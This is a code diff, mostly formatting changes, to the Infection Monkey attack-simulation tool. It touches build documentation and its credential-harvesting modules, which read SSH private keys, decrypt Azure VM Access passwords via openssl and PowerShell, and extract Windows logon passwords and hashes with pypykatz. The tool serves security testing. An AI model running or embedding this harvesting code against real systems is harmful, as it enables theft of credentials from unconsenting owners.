1. Install python 3.7.4 and choose **ADD to PATH** option when installing.
Download and install from:
-
+
In case you still need to add python directories to path:
- - Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different)
+ - Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different)
`setx /M PATH "%PATH%;C:\Python37;C:\Python37\Scripts`
- Close the console, make sure you execute all commands in a new cmd console from now on.
2. Install further dependencies
- if not installed, install Microsoft Visual C++ 2017 SP1 Redistributable Package
- 32bit:
- 64bit:
-3. Download the dependent python packages using
+3. Download the dependent python packages using
`pip install -r requirements.txt`
4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe:
@@ -50,6 +50,7 @@ Tested on Ubuntu 16.04.
2. Install the python packages listed in requirements.txt using pip
- `cd [code location]/infection_monkey`
+ - `python3.7 -m pipenv lock -r --dev > requirements.txt`
- `python3.7 -m pip install -r requirements.txt`
3. Build Sambacry binaries
@@ -63,8 +64,8 @@ Tested on Ubuntu 16.04.
5. To build, run in terminal:
- `cd [code location]/infection_monkey`
- `chmod +x build_linux.sh`
- - `./build_linux.sh`
-
+ - `pipenv run ./build_linux.sh`
+
output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python
### Sambacry
@@ -94,3 +95,24 @@ You can either build them yourself or download pre-built binaries.
- Available here:
- 32bit:
- 64bit:
+
+
+
+### Troubleshooting
+
+Some of the possible errors that may come up while trying to build the infection monkey:
+
+#### Linux
+
+When committing your changes for the first time, you may encounter some errors thrown by the pre-commit hooks. This is most likely because some python dependencies are missing from your system.
+To resolve this, use `pipenv` to create a `requirements.txt` for both the `infection_monkey/` and `monkey_island/` requirements and install it with `pip`.
+
+ - `cd [code location]/infection_monkey`
+ - `python3.7 -m pipenv lock -r --dev > requirements.txt`
+ - `python3.7 -m pip install -r requirements.txt`
+
+ and
+
+ - `cd [code location]/monkey_island`
+ - `python3.7 -m pipenv lock -r --dev > requirements.txt`
+ - `python3.7 -m pip install -r requirements.txt`
diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt
deleted file mode 100644
index 069d1ce07..000000000
--- a/monkey/infection_monkey/requirements.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-cryptography==2.5
-WinSys-3.x>=0.5.2
-cffi>=1.14
-ecdsa==0.15
-git+https://github.com/guardicore/pyinstaller
-impacket>=0.9
-ipaddress>=1.0.23
-netifaces>=0.10.9
-odict==1.7.0
-paramiko>=2.7.1
-psutil>=5.7.0
-pycryptodome==3.9.8
-pyftpdlib==1.5.6
-pymssql<3.0
-pypykatz==0.3.12
-pysmb==1.2.5
-requests>=2.24
-wmi==1.5.1 ; sys_platform == 'win32'
-urllib3==1.25.8
-git+https://github.com/guardicode/ScoutSuite
-simplejson
diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py
index 3977d2444..b4c98e001 100644
--- a/monkey/infection_monkey/system_info/SSH_info_collector.py
+++ b/monkey/infection_monkey/system_info/SSH_info_collector.py
@@ -6,8 +6,6 @@ import pwd
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
-__author__ = 'VakarisZ'
-
LOG = logging.getLogger(__name__)
@@ -16,7 +14,7 @@ class SSHCollector(object):
SSH keys and known hosts collection module
"""
- default_dirs = ['/.ssh/', '/']
+ default_dirs = ["/.ssh/", "/"]
@staticmethod
def get_info():
@@ -37,64 +35,78 @@ class SSHCollector(object):
known_hosts: contents of known_hosts file(all the servers keys are good for,
possibly hashed)
"""
- return {'name': name, 'home_dir': home_dir, 'public_key': None,
- 'private_key': None, 'known_hosts': None}
+ return {
+ "name": name,
+ "home_dir": home_dir,
+ "public_key": None,
+ "private_key": None,
+ "known_hosts": None,
+ }
@staticmethod
def get_home_dirs():
- root_dir = SSHCollector.get_ssh_struct('root', '')
- home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall()
- if x.pw_dir.startswith('/home')]
+ root_dir = SSHCollector.get_ssh_struct("root", "")
+ home_dirs = [
+ SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir)
+ for x in pwd.getpwall()
+ if x.pw_dir.startswith("/home")
+ ]
home_dirs.append(root_dir)
return home_dirs
@staticmethod
def get_ssh_files(usr_info):
for info in usr_info:
- path = info['home_dir']
+ path = info["home_dir"]
for directory in SSHCollector.default_dirs:
if os.path.isdir(path + directory):
try:
current_path = path + directory
# Searching for public key
- if glob.glob(os.path.join(current_path, '*.pub')):
+ if glob.glob(os.path.join(current_path, "*.pub")):
# Getting first file in current path with .pub extension(public key)
- public = (glob.glob(os.path.join(current_path, '*.pub'))[0])
+ public = glob.glob(os.path.join(current_path, "*.pub"))[0]
LOG.info("Found public key in %s" % public)
try:
with open(public) as f:
- info['public_key'] = f.read()
- # By default private key has the same name as public, only without .pub
+ info["public_key"] = f.read()
+ # By default private key has the same name as public,
+ # only without .pub
private = os.path.splitext(public)[0]
if os.path.exists(private):
try:
with open(private) as f:
# no use from ssh key if it's encrypted
private_key = f.read()
- if private_key.find('ENCRYPTED') == -1:
- info['private_key'] = private_key
+ if private_key.find("ENCRYPTED") == -1:
+ info["private_key"] = private_key
LOG.info("Found private key in %s" % private)
- T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send()
+ T1005Telem(
+ ScanStatus.USED, "SSH key", "Path: %s" % private
+ ).send()
else:
continue
except (IOError, OSError):
pass
# By default known hosts file is called 'known_hosts'
- known_hosts = os.path.join(current_path, 'known_hosts')
+ known_hosts = os.path.join(current_path, "known_hosts")
if os.path.exists(known_hosts):
try:
with open(known_hosts) as f:
- info['known_hosts'] = f.read()
+ info["known_hosts"] = f.read()
LOG.info("Found known_hosts in %s" % known_hosts)
except (IOError, OSError):
pass
# If private key found don't search more
- if info['private_key']:
+ if info["private_key"]:
break
except (IOError, OSError):
pass
except OSError:
pass
- usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts']
- or info['public_key']]
+ usr_info = [
+ info
+ for info in usr_info
+ if info["private_key"] or info["known_hosts"] or info["public_key"]
+ ]
return usr_info
diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py
index a5502a2c0..28903aea4 100644
--- a/monkey/infection_monkey/system_info/__init__.py
+++ b/monkey/infection_monkey/system_info/__init__.py
@@ -19,8 +19,6 @@ except NameError:
# noinspection PyShadowingBuiltins
WindowsError = psutil.AccessDenied
-__author__ = 'uri'
-
class OperatingSystem(IntEnum):
Windows = 0
@@ -29,16 +27,19 @@ class OperatingSystem(IntEnum):
class SystemInfoCollector(object):
"""
- A class that checks the current operating system and calls system information collecting modules accordingly
+ A class that checks the current operating system and calls system information collecting
+ modules accordingly
"""
def __init__(self):
self.os = SystemInfoCollector.get_os()
if OperatingSystem.Windows == self.os:
from .windows_info_collector import WindowsInfoCollector
+
self.collector = WindowsInfoCollector()
else:
from .linux_info_collector import LinuxInfoCollector
+
self.collector = LinuxInfoCollector()
def get_info(self):
@@ -76,11 +77,10 @@ class InfoCollector(object):
:return: None. Updates class information
"""
LOG.debug("Reading subnets")
- self.info['network_info'] = \
- {
- 'networks': get_host_subnets(),
- 'netstat': NetstatCollector.get_netstat_info()
- }
+ self.info["network_info"] = {
+ "networks": get_host_subnets(),
+ "netstat": NetstatCollector.get_netstat_info(),
+ }
def get_azure_info(self):
"""
@@ -91,11 +91,12 @@ class InfoCollector(object):
# noinspection PyBroadException
try:
from infection_monkey.config import WormConfiguration
+
if AZURE_CRED_COLLECTOR not in WormConfiguration.system_info_collector_classes:
return
LOG.debug("Harvesting creds if on an Azure machine")
azure_collector = AzureCollector()
- if 'credentials' not in self.info:
+ if "credentials" not in self.info:
self.info["credentials"] = {}
azure_creds = azure_collector.extract_stored_credentials()
for cred in azure_creds:
@@ -105,11 +106,12 @@ class InfoCollector(object):
self.info["credentials"][username] = {}
# we might be losing passwords in case of multiple reset attempts on same username
# or in case another collector already filled in a password for this user
- self.info["credentials"][username]['password'] = password
- self.info["credentials"][username]['username'] = username
+ self.info["credentials"][username]["password"] = password
+ self.info["credentials"][username]["username"] = username
if len(azure_creds) != 0:
self.info["Azure"] = {}
- self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
+ self.info["Azure"]["usernames"] = [cred[0] for cred in azure_creds]
except Exception:
- # If we failed to collect azure info, no reason to fail all the collection. Log and continue.
+ # If we failed to collect azure info, no reason to fail all the collection. Log and
+ # continue.
LOG.error("Failed collecting Azure info.", exc_info=True)
diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py
index bb0240198..8d9f5cd7a 100644
--- a/monkey/infection_monkey/system_info/azure_cred_collector.py
+++ b/monkey/infection_monkey/system_info/azure_cred_collector.py
@@ -9,8 +9,6 @@ from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
-__author__ = 'danielg'
-
LOG = logging.getLogger(__name__)
@@ -21,7 +19,9 @@ class AzureCollector(object):
def __init__(self):
if sys.platform.startswith("win"):
- self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
+ self.path = (
+ "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
+ )
self.extractor = AzureCollector.get_pass_windows
else:
self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
@@ -46,21 +46,27 @@ class AzureCollector(object):
"""
linux_cert_store = "/var/lib/waagent/"
try:
- json_data = json.load(open(filepath, 'r'))
+ json_data = json.load(open(filepath, "r"))
# this is liable to change but seems to be stable over the last year
- protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
- cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint']
+ protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"]
+ cert_thumbprint = json_data["runtimeSettings"][0]["handlerSettings"][
+ "protectedSettingsCertThumbprint"
+ ]
base64_command = """openssl base64 -d -a"""
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
- b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
+ b64_proc = subprocess.Popen(
+ base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE
+ )
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
- decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path
- decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
+ decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path
+ decrypt_proc = subprocess.Popen(
+ decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE
+ )
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
- T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
- T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send()
- return decrypt_data['username'], decrypt_data['password']
+ T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
+ T1064Telem(ScanStatus.USED, "Bash scripts used to extract azure credentials.").send()
+ return decrypt_data["username"], decrypt_data["password"]
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
return None
@@ -68,7 +74,9 @@ class AzureCollector(object):
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
- LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
+ LOG.warning(
+ "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
+ )
return None
@staticmethod
@@ -78,28 +86,37 @@ class AzureCollector(object):
:return: Username,password
"""
try:
- json_data = json.load(open(filepath, 'r'))
+ json_data = json.load(open(filepath, "r"))
# this is liable to change but seems to be stable over the last year
- protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
- username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName']
+ protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"]
+ username = json_data["runtimeSettings"][0]["handlerSettings"]["publicSettings"][
+ "UserName"
+ ]
# we're going to do as much of this in PS as we can.
- ps_block = ";\n".join([
- '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null',
- '$base64 = "%s"' % protected_data,
- "$content = [Convert]::FromBase64String($base64)",
- "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
- "$env.Decode($content)",
- "$env.Decrypt()",
- "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
- "Write-Host $utf8content" # we want to simplify parsing
- ])
- ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
+ ps_block = ";\n".join(
+ [
+ '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | '
+ "Out-Null",
+ '$base64 = "%s"' % protected_data,
+ "$content = [Convert]::FromBase64String($base64)",
+ "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
+ "$env.Decode($content)",
+ "$env.Decrypt()",
+ "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
+ "Write-Host $utf8content", # we want to simplify parsing
+ ]
+ )
+ ps_proc = subprocess.Popen(
+ ["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE
+ )
ps_out = ps_proc.communicate(ps_block)[0]
# this is disgusting but the alternative is writing the file to disk...
- password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
+ password_raw = ps_out.split("\n")[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
- T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
- T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send()
+ T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
+ T1064Telem(
+ ScanStatus.USED, "Powershell scripts used to extract azure credentials."
+ ).send()
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
@@ -108,5 +125,7 @@ class AzureCollector(object):
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
- LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
+ LOG.warning(
+ "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
+ )
return None
diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py
index 94a7baf2a..074d19cc1 100644
--- a/monkey/infection_monkey/system_info/collectors/aws_collector.py
+++ b/monkey/infection_monkey/system_info/collectors/aws_collector.py
@@ -4,7 +4,9 @@ from common.cloud.aws.aws_instance import AwsInstance
from common.cloud.scoutsuite_consts import CloudProviders
from common.common_consts.system_info_collectors_names import AWS_COLLECTOR
from infection_monkey.network.tools import is_running_on_island
-from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import scan_cloud_security
+from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import (
+ scan_cloud_security,
+)
from infection_monkey.system_info.system_info_collector import SystemInfoCollector
logger = logging.getLogger(__name__)
@@ -14,6 +16,7 @@ class AwsCollector(SystemInfoCollector):
"""
Extract info from AWS machines.
"""
+
def __init__(self):
super().__init__(name=AWS_COLLECTOR)
@@ -28,10 +31,7 @@ class AwsCollector(SystemInfoCollector):
info = {}
if aws.is_instance():
logger.info("Machine is an AWS instance")
- info = \
- {
- 'instance_id': aws.get_instance_id()
- }
+ info = {"instance_id": aws.get_instance_id()}
else:
logger.info("Machine is NOT an AWS instance")
diff --git a/monkey/infection_monkey/system_info/collectors/process_list_collector.py b/monkey/infection_monkey/system_info/collectors/process_list_collector.py
index cdb5bc045..12cdf8aeb 100644
--- a/monkey/infection_monkey/system_info/collectors/process_list_collector.py
+++ b/monkey/infection_monkey/system_info/collectors/process_list_collector.py
@@ -37,7 +37,8 @@ class ProcessListCollector(SystemInfoCollector):
"full_image_path": process.exe(),
}
except (psutil.AccessDenied, WindowsError):
- # we may be running as non root and some processes are impossible to acquire in Windows/Linux.
+ # we may be running as non root and some processes are impossible to acquire in
+ # Windows/Linux.
# In this case we'll just add what we know.
processes[process.pid] = {
"name": "null",
@@ -48,4 +49,4 @@ class ProcessListCollector(SystemInfoCollector):
}
continue
- return {'process_list': processes}
+ return {"process_list": processes}
diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py
index 79aabea56..ec8a5e488 100644
--- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py
+++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py
@@ -15,18 +15,20 @@ logger = logging.getLogger(__name__)
def scan_cloud_security(cloud_type: CloudProviders):
try:
results = run_scoutsuite(cloud_type.value)
- if isinstance(results, dict) and 'error' in results and results['error']:
- raise ScoutSuiteScanError(results['error'])
+ if isinstance(results, dict) and "error" in results and results["error"]:
+ raise ScoutSuiteScanError(results["error"])
send_scoutsuite_run_results(results)
except (Exception, ScoutSuiteScanError) as e:
logger.error(f"ScoutSuite didn't scan {cloud_type.value} security because: {e}")
def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]:
- return ScoutSuite.api_run.run(provider=cloud_type,
- aws_access_key_id=WormConfiguration.aws_access_key_id,
- aws_secret_access_key=WormConfiguration.aws_secret_access_key,
- aws_session_token=WormConfiguration.aws_session_token)
+ return ScoutSuite.api_run.run(
+ provider=cloud_type,
+ aws_access_key_id=WormConfiguration.aws_access_key_id,
+ aws_secret_access_key=WormConfiguration.aws_secret_access_key,
+ aws_session_token=WormConfiguration.aws_session_token,
+ )
def send_scoutsuite_run_results(run_results: BaseProvider):
diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py
index fb38f84c4..76ddeab5a 100644
--- a/monkey/infection_monkey/system_info/linux_info_collector.py
+++ b/monkey/infection_monkey/system_info/linux_info_collector.py
@@ -3,8 +3,6 @@ import logging
from infection_monkey.system_info import InfoCollector
from infection_monkey.system_info.SSH_info_collector import SSHCollector
-__author__ = 'uri'
-
LOG = logging.getLogger(__name__)
@@ -24,5 +22,5 @@ class LinuxInfoCollector(InfoCollector):
"""
LOG.debug("Running Linux collector")
super(LinuxInfoCollector, self).get_info()
- self.info['ssh_info'] = SSHCollector.get_info()
+ self.info["ssh_info"] = SSHCollector.get_info()
return self.info
diff --git a/monkey/infection_monkey/system_info/netstat_collector.py b/monkey/infection_monkey/system_info/netstat_collector.py
index bd35f3126..9df4ef231 100644
--- a/monkey/infection_monkey/system_info/netstat_collector.py
+++ b/monkey/infection_monkey/system_info/netstat_collector.py
@@ -1,4 +1,5 @@
-# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py
+# Inspired by Giampaolo Rodola's psutil example from
+# https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py
import logging
import socket
@@ -6,8 +7,6 @@ from socket import AF_INET, SOCK_DGRAM, SOCK_STREAM
import psutil
-__author__ = 'itay.mizeretz'
-
LOG = logging.getLogger(__name__)
@@ -16,29 +15,28 @@ class NetstatCollector(object):
Extract netstat info
"""
- AF_INET6 = getattr(socket, 'AF_INET6', object())
+ AF_INET6 = getattr(socket, "AF_INET6", object())
proto_map = {
- (AF_INET, SOCK_STREAM): 'tcp',
- (AF_INET6, SOCK_STREAM): 'tcp6',
- (AF_INET, SOCK_DGRAM): 'udp',
- (AF_INET6, SOCK_DGRAM): 'udp6',
+ (AF_INET, SOCK_STREAM): "tcp",
+ (AF_INET6, SOCK_STREAM): "tcp6",
+ (AF_INET, SOCK_DGRAM): "udp",
+ (AF_INET6, SOCK_DGRAM): "udp6",
}
@staticmethod
def get_netstat_info():
LOG.info("Collecting netstat info")
- return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')]
+ return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind="inet")]
@staticmethod
def _parse_connection(c):
- return \
- {
- 'proto': NetstatCollector.proto_map[(c.family, c.type)],
- 'local_address': c.laddr[0],
- 'local_port': c.laddr[1],
- 'remote_address': c.raddr[0] if c.raddr else None,
- 'remote_port': c.raddr[1] if c.raddr else None,
- 'status': c.status,
- 'pid': c.pid
- }
+ return {
+ "proto": NetstatCollector.proto_map[(c.family, c.type)],
+ "local_address": c.laddr[0],
+ "local_port": c.laddr[1],
+ "remote_address": c.raddr[0] if c.raddr else None,
+ "remote_port": c.raddr[1] if c.raddr else None,
+ "status": c.status,
+ "pid": c.pid,
+ }
diff --git a/monkey/infection_monkey/system_info/system_info_collector.py b/monkey/infection_monkey/system_info/system_info_collector.py
index ee4bb21e8..fe160de16 100644
--- a/monkey/infection_monkey/system_info/system_info_collector.py
+++ b/monkey/infection_monkey/system_info/system_info_collector.py
@@ -7,13 +7,17 @@ from infection_monkey.utils.plugins.plugin import Plugin
class SystemInfoCollector(Plugin, metaclass=ABCMeta):
"""
- ABC for system info collection. See system_info_collector_handler for more info. Basically, to implement a new system info
- collector, inherit from this class in an implementation in the infection_monkey.system_info.collectors class, and override
- the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the collector to the configuration
+ ABC for system info collection. See system_info_collector_handler for more info. Basically,
+ to implement a new system info
+ collector, inherit from this class in an implementation in the
+ infection_monkey.system_info.collectors class, and override
+ the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the
+ collector to the configuration
as well - see monkey_island.cc.services.processing.system_info_collectors for examples.
See the Wiki page "How to add a new System Info Collector to the Monkey?" for a detailed guide.
"""
+
def __init__(self, name="unknown"):
self.name = name
diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py
index cc007ff86..c54286931 100644
--- a/monkey/infection_monkey/system_info/system_info_collectors_handler.py
+++ b/monkey/infection_monkey/system_info/system_info_collectors_handler.py
@@ -23,8 +23,10 @@ class SystemInfoCollectorsHandler(object):
except Exception as e:
# If we failed one collector, no need to stop execution. Log and continue.
LOG.error("Collector {} failed. Error info: {}".format(collector.name, e))
- LOG.info("All system info collectors executed. Total {} executed, out of which {} collected successfully.".
- format(len(self.collectors_list), successful_collections))
+ LOG.info(
+ "All system info collectors executed. Total {} executed, out of which {} "
+ "collected successfully.".format(len(self.collectors_list), successful_collections)
+ )
SystemInfoTelem({"collectors": system_info_telemetry}).send()
diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py
index 96d3912e3..0bed5c7f8 100644
--- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py
+++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py
@@ -2,13 +2,14 @@ import logging
from typing import List
from infection_monkey.system_info.windows_cred_collector import pypykatz_handler
-from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials
+from infection_monkey.system_info.windows_cred_collector.windows_credentials import (
+ WindowsCredentials,
+)
LOG = logging.getLogger(__name__)
class MimikatzCredentialCollector(object):
-
@staticmethod
def get_creds():
creds = pypykatz_handler.get_windows_creds()
diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py
index ca146573f..23bcce771 100644
--- a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py
+++ b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py
@@ -3,11 +3,21 @@ from typing import Any, Dict, List, NewType
from pypykatz.pypykatz import pypykatz
-from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials
+from infection_monkey.system_info.windows_cred_collector.windows_credentials import (
+ WindowsCredentials,
+)
-CREDENTIAL_TYPES = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'dpapi_creds',
- 'kerberos_creds', 'credman_creds', 'tspkg_creds']
-PypykatzCredential = NewType('PypykatzCredential', Dict)
+CREDENTIAL_TYPES = [
+ "msv_creds",
+ "wdigest_creds",
+ "ssp_creds",
+ "livessp_creds",
+ "dpapi_creds",
+ "kerberos_creds",
+ "credman_creds",
+ "tspkg_creds",
+]
+PypykatzCredential = NewType("PypykatzCredential", Dict)
def get_windows_creds() -> List[WindowsCredentials]:
@@ -19,7 +29,7 @@ def get_windows_creds() -> List[WindowsCredentials]:
def _parse_pypykatz_results(pypykatz_data: Dict) -> List[WindowsCredentials]:
windows_creds = []
- for session in pypykatz_data['logon_sessions'].values():
+ for session in pypykatz_data["logon_sessions"].values():
windows_creds.extend(_get_creds_from_pypykatz_session(session))
return windows_creds
@@ -32,7 +42,9 @@ def _get_creds_from_pypykatz_session(pypykatz_session: Dict) -> List[WindowsCred
return windows_creds
-def _get_creds_from_pypykatz_creds(pypykatz_creds: List[PypykatzCredential]) -> List[WindowsCredentials]:
+def _get_creds_from_pypykatz_creds(
+ pypykatz_creds: List[PypykatzCredential],
+) -> List[WindowsCredentials]:
creds = _filter_empty_creds(pypykatz_creds)
return [_get_windows_cred(cred) for cred in creds]
@@ -42,27 +54,26 @@ def _filter_empty_creds(pypykatz_creds: List[PypykatzCredential]) -> List[Pypyka
def _is_cred_empty(pypykatz_cred: PypykatzCredential):
- password_empty = 'password' not in pypykatz_cred or not pypykatz_cred['password']
- ntlm_hash_empty = 'NThash' not in pypykatz_cred or not pypykatz_cred['NThash']
- lm_hash_empty = 'LMhash' not in pypykatz_cred or not pypykatz_cred['LMhash']
+ password_empty = "password" not in pypykatz_cred or not pypykatz_cred["password"]
+ ntlm_hash_empty = "NThash" not in pypykatz_cred or not pypykatz_cred["NThash"]
+ lm_hash_empty = "LMhash" not in pypykatz_cred or not pypykatz_cred["LMhash"]
return password_empty and ntlm_hash_empty and lm_hash_empty
def _get_windows_cred(pypykatz_cred: PypykatzCredential):
- password = ''
- ntlm_hash = ''
- lm_hash = ''
- username = pypykatz_cred['username']
- if 'password' in pypykatz_cred:
- password = pypykatz_cred['password']
- if 'NThash' in pypykatz_cred:
- ntlm_hash = _hash_to_string(pypykatz_cred['NThash'])
- if 'LMhash' in pypykatz_cred:
- lm_hash = _hash_to_string(pypykatz_cred['LMhash'])
- return WindowsCredentials(username=username,
- password=password,
- ntlm_hash=ntlm_hash,
- lm_hash=lm_hash)
+ password = ""
+ ntlm_hash = ""
+ lm_hash = ""
+ username = pypykatz_cred["username"]
+ if "password" in pypykatz_cred:
+ password = pypykatz_cred["password"]
+ if "NThash" in pypykatz_cred:
+ ntlm_hash = _hash_to_string(pypykatz_cred["NThash"])
+ if "LMhash" in pypykatz_cred:
+ lm_hash = _hash_to_string(pypykatz_cred["LMhash"])
+ return WindowsCredentials(
+ username=username, password=password, ntlm_hash=ntlm_hash, lm_hash=lm_hash
+ )
def _hash_to_string(hash_: Any):
diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py
deleted file mode 100644
index 165b00cf2..000000000
--- a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py
+++ /dev/null
@@ -1,87 +0,0 @@
-from unittest import TestCase
-
-from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import _get_creds_from_pypykatz_session
-
-
-class TestPypykatzHandler(TestCase):
- # Made up credentials, but structure of dict should be roughly the same
- PYPYKATZ_SESSION = {
- 'authentication_id': 555555, 'session_id': 3, 'username': 'Monkey',
- 'domainname': 'ReAlDoMaIn', 'logon_server': 'ReAlDoMaIn',
- 'logon_time': '2020-06-02T04:53:45.256562+00:00',
- 'sid': 'S-1-6-25-260123139-3611579848-5589493929-3021', 'luid': 123086,
- 'msv_creds': [
- {'username': 'monkey', 'domainname': 'ReAlDoMaIn',
- 'NThash': b'1\xb7 Dict:
- return {'username': self.username,
- 'password': self.password,
- 'ntlm_hash': self.ntlm_hash,
- 'lm_hash': self.lm_hash}
+ return {
+ "username": self.username,
+ "password": self.password,
+ "ntlm_hash": self.ntlm_hash,
+ "lm_hash": self.lm_hash,
+ }
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index 8a53898c7..9fb30bab2 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -1,9 +1,12 @@
import logging
+import shlex
import subprocess
import sys
from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR
-from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import MimikatzCredentialCollector
+from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import (
+ MimikatzCredentialCollector,
+)
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config # noqa: E402
@@ -12,9 +15,7 @@ from infection_monkey.system_info import InfoCollector # noqa: E402
from infection_monkey.system_info.wmi_consts import WMI_CLASSES # noqa: E402
LOG = logging.getLogger(__name__)
-LOG.info('started windows info collector')
-
-__author__ = 'uri'
+LOG.info("started windows info collector")
class WindowsInfoCollector(InfoCollector):
@@ -25,8 +26,8 @@ class WindowsInfoCollector(InfoCollector):
def __init__(self):
